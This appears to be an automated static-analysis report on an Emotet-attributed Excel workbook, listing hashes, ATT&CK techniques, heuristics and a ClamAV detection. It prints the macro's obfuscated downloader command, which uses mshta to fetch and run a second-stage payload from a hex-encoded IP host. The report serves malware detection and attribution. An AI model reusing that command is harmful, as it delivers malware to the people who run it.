Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 9c81efc6ba9f818e…

MALICIOUS

Office (OLE) / .XLSX

128.0 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: 055d6024ca8a058d0400c222b11db9a0 SHA-1: e271466520dc1fd0e5df7e2ae08e839c2e18ffc3 SHA-256: 9c81efc6ba9f818e3e2433d5f2ba4b1748883a749170c6267ca79a1e2915cb65
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File Execution: Malicious File

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a strong indicator of malicious intent. The macro reconstructs and executes the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c^c.h^tm^l', which is designed to download a second-stage payload from the specified URL. ClamAV also detected this file as 'Doc.Downloader.EmotetExcel01220-9936774-0', further supporting the Emotet family attribution.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes

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